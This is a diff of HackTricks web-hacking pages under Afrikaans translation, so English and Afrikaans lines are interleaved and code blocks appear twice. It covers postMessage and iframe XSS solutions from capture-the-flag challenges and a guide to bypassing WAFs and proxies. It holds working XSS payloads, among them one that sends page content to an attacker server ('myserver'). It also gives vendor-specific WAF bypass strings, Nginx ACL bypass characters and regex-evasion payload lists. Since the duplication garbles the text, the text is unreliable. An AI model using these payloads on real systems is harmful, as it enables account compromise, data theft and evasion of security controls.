Daardie **payload** sal die **identifier** kry en 'n **XSS** dit **terug na die boonste bladsy** stuur (die bladsy wat die popup geopen het), **wat** die **ligging** na die **kwesbare** `/iframe.php` sal **verander**. Omdat die identifier bekend is, maak dit nie saak dat die voorwaarde `window.origin === e.origin` nie nagekom word nie (onthou, die origin is die **popup** van die iframe wat **origin** **`null`** het) omdat `data.identifier === identifier`. Dan, die **XSS sal weer aktiveer**, hierdie keer in die korrekte origin.
```html
<body>
<script>
f = document.createElement("iframe")
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,22 +4,19 @@
## Iframes in SOP-2
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) proposes a similar method to the previous section. Let's check it.
In this challenge the attacker needs to **bypass** this:
In die [**oplossing**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) vir hierdie [**uitdaging**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) stel 'n soortgelyke metode voor soos in die vorige afdeling. Kom ons kyk daarna.
In hierdie uitdaging moet die aanvaller **bypass** hierdie:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
As hy dit doen, kan hy 'n **postmessage** met HTML-inhoud stuur wat in die bladsy geskryf gaan word met **`innerHTML`** sonder sanitasie (**XSS**).
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:
- **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
- Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
- Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
Die manier om die **eerste kontrole** te omseil, is deur **`window.calc.contentWindow`** na **`undefined`** en **`e.source`** na **`null`** te maak:
- **`window.calc.contentWindow`** is eintlik **`document.getElementById("calc")`**. Jy kan **`document.getElementById`** oorheers met **`<img name=getElementById />`** (let op dat die Sanitizer API -[hier](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nie gekonfigureer is om teen DOM oorheersingaanvalle in sy standaardtoestand te beskerm nie).
- Daarom kan jy **`document.getElementById("calc")`** oorheers met **`<img name=getElementById /><div id=calc></div>`**. Dan sal **`window.calc`** **`undefined`** wees.
- Nou moet ons hê dat **`e.source`** **`undefined`** of **`null`** moet wees (want `==` word gebruik in plaas van `===`, **`null == undefined`** is **`True`**). Om dit te kry, is "maklik". As jy 'n **iframe** skep en 'n **postMessage** daaruit stuur en onmiddellik die iframe **verwyder**, sal **`e.origin`** **`null`** wees. Kontroleer die volgende kode
```javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
@ -28,60 +25,56 @@ await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
```
Om die **tweede kontrole** oor die token te omseil, stuur **`token`** met die waarde `null` en maak **`window.token`** se waarde **`undefined`**:
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
- Sending `token` in the postMessage with value `null` is trivial.
- **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
- Om `token` in die postMessage met die waarde `null` te stuur, is trivial.
- **`window.token`** in die oproep van die funksie **`getCookie`** wat **`document.cookie`** gebruik. Let daarop dat enige toegang tot **`document.cookie`** in **`null`** oorsprong bladsye 'n **fout** veroorsaak. Dit sal maak dat **`window.token`** die waarde **`undefined`** het.
Die finale oplossing deur [**@terjanq**](https://twitter.com/terjanq) is die [**volgende**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,33 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
## Changing child iframes locations
## Verandering van kind iframes se plekke
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.
Volgens [**hierdie skrywe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n webblad kan iframe sonder X-Frame-Header wat 'n ander iframe bevat, kan jy **die plek van daardie kind iframe verander**.
For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, **`frames.location`**.
This is specially useful in **postMessages** because if a page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the related iframe (child or parent) to an attackers controlled location** and steal that data.
Byvoorbeeld, as abc.com efg.com as iframe het en abc.com nie 'n X-Frame header het nie, kan ek efg.com na evil.com kruis oorsprong verander met **`frames.location`**.
Dit is veral nuttig in **postMessages** omdat as 'n bladsy sensitiewe data stuur met 'n **wildcard** soos `windowRef.postmessage("","*")` dit moontlik is om **die plek van die verwante iframe (kind of ouer) na 'n aanvaller se beheerde plek te verander** en daardie data te steel.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Proxy / WAF Protections Bypass
# Proxy / WAF Beskerming Omseiling
{{#include ../banners/hacktricks-training.md}}
@ -6,98 +6,91 @@
{% embed url="https://websec.nl/" %}
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
## Omseiling van Nginx ACL Reëls met Padnaam Manipulasie <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Techniques [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Nginx rule example:
Tegnieke [uit hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Nginx reël voorbeeld:
```plaintext
location = /admin {
deny all;
deny all;
}
location = /admin/ {
deny all;
deny all;
}
```
In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.
Om omseilings te voorkom, voer Nginx padnormalisering uit voordat dit dit nagaan. As die agtergrondbediener egter 'n ander normalisering uitvoer (wat karakters verwyder wat Nginx nie verwyder nie), kan dit moontlik wees om hierdie verdediging te omseil.
### **NodeJS - Express**
| Nginx Version | **Node.js Bypass Characters** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| Nginx Weergawe | **Node.js Omseil Karakters** |
| -------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Nginx Version | **Flask Bypass Characters** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| Nginx Weergawe | **Flask Omseil Karakters** |
| -------------- | ------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Nginx Version | **Spring Boot Bypass Characters** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| Nginx Weergawe | **Spring Boot Omseil Karakters** |
| -------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Nginx FPM configuration:
Nginx FPM konfigurasie:
```plaintext
location = /admin.php {
deny all;
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx is geconfigureer om toegang tot `/admin.php` te blokkeer, maar dit is moontlik om dit te omseil deur toegang te verkry tot `/admin.php/index.php`.
Nginx is configured to block access to `/admin.php` but it's possible to bypass this by accessing `/admin.php/index.php`.
### How to prevent
### Hoe om te voorkom
```plaintext
location ~* ^/admin {
deny all;
deny all;
}
```
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Path Confusion
### Pad Verwarring
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.\
Therefore, a request like `http://example.com/foo%3f';alert(1);foo=` in mod security will suppose that the path is just `/foo` because `%3f` is transformed into `?` ending the URL path, but actually the path that a server will receive will be `/foo%3f';alert(1);foo=`.
[**In hierdie pos**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) word verduidelik dat ModSecurity v3 (tot 3.0.12), **die `REQUEST_FILENAME`** veranderlike onvanpas geïmplementeer het wat veronderstel was om die toeganklike pad (tot die begin van die parameters) te bevat. Dit is omdat dit 'n URL-dekodeer uitgevoer het om die pad te verkry.\
Daarom sal 'n versoek soos `http://example.com/foo%3f';alert(1);foo=` in mod security veronderstel dat die pad net `/foo` is omdat `%3f` in `?` omgeskakel word wat die URL-pad beëindig, maar eintlik sal die pad wat 'n bediener ontvang `/foo%3f';alert(1);foo=` wees.
The variables `REQUEST_BASENAME` and `PATH_INFO` were also affected by this bug.
Die veranderlikes `REQUEST_BASENAME` en `PATH_INFO` was ook deur hierdie fout geraak.
Something similar ocurred in version 2 of Mod Security that allowed to bypass a protection that prevented user accessing files with specific extensions related to backup files (such as `.bak`) simply by sending the dot URL encoded in `%2e`, for example: `https://example.com/backup%2ebak`.
Iets soortgelyks het in weergawe 2 van Mod Security gebeur wat 'n beskerming toegelaat het wat verhoed het dat gebruikers toegang tot lêers met spesifieke uitbreidings wat verband hou met rugsteunlêers (soos `.bak`) verkry, eenvoudig deur die punt URL-gecodeer in `%2e` te stuur, byvoorbeeld: `https://example.com/backup%2ebak`.
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Malformed Header
### Verkeerde Kop
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentions that it was possible to bypass AWS WAF rules applied over HTTP headers by sending a "malformed" header that wasn't properly parsed by AWS but it was by the backend server.
For example, sending the following request with a SQL injection in the header X-Query:
[Hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) noem dat dit moontlik was om AWS WAF-reëls wat op HTTP-koppe toegepas is, te omseil deur 'n "verkeerde" kop te stuur wat nie behoorlik deur AWS ontleed is nie, maar wel deur die agtergrondbediener.
Byvoorbeeld, deur die volgende versoek met 'n SQL-inspuiting in die kop X-Query te stuur:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -106,36 +99,34 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Dit was moontlik om AWS WAF te omseil omdat dit nie verstaan het dat die volgende lyn deel is van die waarde van die kop nie, terwyl die NODEJS-bediener dit wel gedoen het (dit is reggestel).
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
## Generiese WAF omseilings
## Generic WAF bypasses
### Versoekgrootte beperkings
### Request Size Limits
Gewoonlik het WAFs 'n sekere lengtebeperking van versoeke om te kontroleer, en as 'n POST/PUT/PATCH-versoek daarbo is, sal die WAF die versoek nie kontroleer nie.
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
- Vir AWS WAF kan jy [**die dokumentasie nagaan**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale grootte van 'n webversoekliggaam wat ondersoek kan word vir Application Load Balancer en AWS AppSync beskermings</td><td>8 KB</td></tr><tr><td>Maximale grootte van 'n webversoekliggaam wat ondersoek kan word vir CloudFront, API Gateway, Amazon Cognito, App Runner, en Verified Access beskermings**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
- Van [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Ou Web-toepassing-vuurmure met Core Rule Set 3.1 (of laer) laat boodskappe groter as **128 KB** toe deur versoekliggaamondersoek af te skakel, maar hierdie boodskappe sal nie op kwesbaarhede nagegaan word nie. Vir nuwer weergawes (Core Rule Set 3.2 of nuwer) kan dieselfde gedoen word deur die maksimum versoekliggaamlimiet te deaktiveer. Wanneer 'n versoek die groottegrens oorskry:
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
As p**reventiemodus**: Teken die versoek aan en blokkeer dit.\
As **deteksie-modus**: Ondersoek tot die limiet, ignoreer die res, en teken aan as die `Content-Length` die limiet oorskry.
If p**revention mode**: Logs and blocks the request.\
If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
- Van [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
Standaard ondersoek die WAF slegs die eerste 8KB van 'n versoek. Dit kan die limiet verhoog tot 128KB deur Gevorderde Metadata by te voeg.
By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
- Van [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
Up to 128KB.
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
Tot 128KB.
### Obfuskaasie <a href="#obfuscation" id="obfuscation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -143,39 +134,36 @@ Up to 128KB.
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Unicode Kompatibiliteit <a href="#unicode-compatability" id="unicode-compatability"></a>
### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode).
#### Example <a href="#example" id="example"></a>
Afhangende van die implementering van Unicode normalisering (meer inligting [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), mag karakters wat Unicode kompatibiliteit deel, in staat wees om die WAF te omseil en as die bedoelde las te voer. Kompatible karakters kan [hier](https://www.compart.com/en/unicode) gevind word.
#### Voorbeeld <a href="#example" id="example"></a>
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
As mentioned in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), In order to bypass WAFs able to maintain a context of the user input we could abuse the WAF techniques to actually normalize the users input.
Soos genoem in [**hierdie blogpos**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), om WAFs te omseil wat 'n konteks van die gebruiker se invoer kan handhaaf, kan ons die WAF tegnieke misbruik om werklik die gebruiker se invoer te normaliseer.
For example, in the post it's mentioned that **Akamai URL decoded a user input 10 times**. Therefore something like `<input/%2525252525252525253e/onfocus` will be seen by Akamai as `<input/>/onfocus` which **might think that it's ok as the tag is closed**. However, as long as the application doesn't URL decode the input 10 times, the victim will see something like `<input/%25252525252525253e/onfocus` which is **still valid for a XSS attack**.
Byvoorbeeld, in die pos word genoem dat **Akamai 'n gebruiker se invoer 10 keer URL-decodeer**. Daarom sal iets soos `<input/%2525252525252525253e/onfocus` deur Akamai gesien word as `<input/>/onfocus` wat **mag dink dat dit reg is aangesien die etiket gesluit is**. egter, solank die toepassing nie die invoer 10 keer URL-decodeer nie, sal die slagoffer iets soos `<input/%25252525252525253e/onfocus` sien wat **nog steeds geldig is vir 'n XSS-aanval**.
Therefore, this allows to **hide payloads in encoded components** that the WAF will decode and interpret while the victim won't.
Daarom laat dit toe om **payloads in geënkodeerde komponente te verberg** wat die WAF sal decodeer en interpreteer terwyl die slagoffer dit nie sal doen nie.
Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal...
Boonop kan dit nie net met URL-geënkodeerde payloads gedoen word nie, maar ook met ander kodering soos unicode, hex, oktale...
In the post the following final bypasses are suggested:
In die pos word die volgende finale omseilings voorgestel:
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
It's also mentioned that depending on **how some WAFs understand the context** of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between `/*` and `*/` (potentially because this is commonly used as comments. Therefore, a SQLinjection such as `/*'or sleep(5)-- -*/` won't be caught and will be valid as `/*` is the starting string of the injection and `*/` is commented.
Daar word ook genoem dat afhangende van **hoe sommige WAFs die konteks van die gebruiker se invoer verstaan**, dit moontlik mag wees om dit te misbruik. Die voorgestelde voorbeeld in die blog is dat Akamai toelaat het om enigiets tussen `/*` en `*/` te plaas (potensieel omdat dit algemeen as kommentaar gebruik word). Daarom sal 'n SQL-inspuiting soos `/*'or sleep(5)-- -*/` nie opgemerk word nie en sal geldig wees aangesien `/*` die beginstring van die inspuiting is en `*/` kommentaar is.
These kind of context problems can also be used to **abuse other vulnerabilities than the one expected** to be exploited by the WAF (e.g. this could also be used to exploit a XSS).
Hierdie tipe konteksprobleme kan ook gebruik word om **ander kwesbaarhede as die een wat verwag word** om deur die WAF uitgebuit te word, te misbruik (bv. dit kan ook gebruik word om 'n XSS aan te val).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
@ -185,16 +173,15 @@ h2c-smuggling.md
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genereer 'n API-gateway URL om met ffuf gebruik te word
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Soortgelyk aan fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite-inprop wat API-gateway IP's gebruik
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 'n Dinamies bepaalde aantal houerinstansies word geaktiveer gebaseer op die invoer lêergrootte en splitsingsfaktor, met die invoer in stukke gesplitst vir parallelle uitvoering, soos 100 instansies wat 100 stukke van 'n 10,000-lyn invoer lêer met 'n splitsingsfaktor van 100 lyne verwerk.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
Verskillende tegnieke kan gebruik word om die regex filters op die firewalls te omseil. Voorbeelde sluit in om die geval te wissel, lyne breek, en payloads te kodeer. Hulpbronne vir die verskillende omseilings kan gevind word by [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) en [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die voorbeelde hieronder is uit [hierdie artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) geneem.
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -215,12 +202,11 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## Gereedskap
## Tools
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-inprop om rommeldata aan versoeke toe te voeg om WAFs te omseil deur lengte
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length
## References
## Verwysings
